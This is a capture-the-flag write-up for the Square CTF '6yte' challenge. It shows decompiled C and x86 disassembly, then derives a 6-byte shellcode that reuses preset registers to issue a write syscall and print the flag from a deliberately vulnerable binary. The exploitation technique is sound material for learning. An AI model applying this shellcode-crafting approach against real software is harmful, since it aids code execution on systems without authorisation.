Square CTF writeup — 6yte
https://gybos-zavyd-gitod-sapas-rolig.capturethesquare.com/
Clearly, this challenge is not worthy 1000 points, it is actually pretty easy if you are familiar with x86 assembly.
Download the binary, and do a quick decompile, go through the main() function and read_flag() function, we can find out:
- The flag is read into the address passed to
read_flag()
- After calling
read_flag()
, it jumps to the mmap() memory allocated for us and of course the shellcode we pass from cmdline is saved right inside it.
v5 = mmap(NULL, 6, 7, 33, -1, 0);
if (v2 == 0) {
// 0x8048889
printf("Shellcode location: %p\n", v5);
v4 = &v6;
printf("Flag location: %p\n", &v6);
sleep(1);
read_flag(v4);
g4 = v4;
g5 = 5;
g3 = 1;
g1 = 4;
((int32_t (*)())v5)();
return 0;
}
So, all we need to do in our shellcode is display the flag saved in v4
. Since we have to write assembly code, now let’s take a look at the corresponding assembly code:
0x80488c9: 50 push eax
0x80488ca: e8 1c fe ff ff call 0x80486eb <read_flag>
0x80488cf: 83 c4 10 add esp, 0x10
0x80488d2: 8d 85 68 ff ff ff lea eax, dword [ ebp + 0xffffff68 ]
0x80488d8: 89 c7 mov edi, eax
0x80488da: ba 05 00 00 00 mov edx, 0x5
0x80488df: bb 01 00 00 00 mov ebx, 0x1
0x80488e4: b8 04 00 00 00 mov eax, 0x4
0x80488e9: ff 65 e8 jmp dword [ ebp + 0xffffffe8 ]
So the C variable v4
is actually eax
register, and the flag is right at the address saved in eax
. How can we show it?
My first thought is to call printf()
, it is not hard at all to find a %2x
string in this binary, however, it is hard to figure out the address of printf()
.
Then, the second thought is to call write()
directly. Lookup the syscall table, I realize that this must be the right direction because eax
and ebx
are already set properly for us in the binary!! Look, eax
is already 0x4
which the syscall number of sys_write(), ebx
is 0x1 which is STDOUT
… Hmm, so all we need to do is:
- Set
ecx
(akabuf
pointer) tov4
, which is nowedi
- Set
edx
(aka,count
) to a reasonable large value, otherwise it is merely 5 - Trigger the syscall with
int 0x80
Therefore we get this:
% rasm2 'mov edx, 0x40; mov ecx, edi; int 0x80'
ba4000000089f9cd80
Clearly this is longer than 6 bytes… As we can see there are some unnecessary 0’s, also note that edx
was already set to 0x5
, this means we only have to set dh
instead of the whole edx
!
So the final shellcode is:
% rasm2 'mov dh, 0x1; mov ecx, edi; int 0x80'
b60189f9cd80
Challenge solved!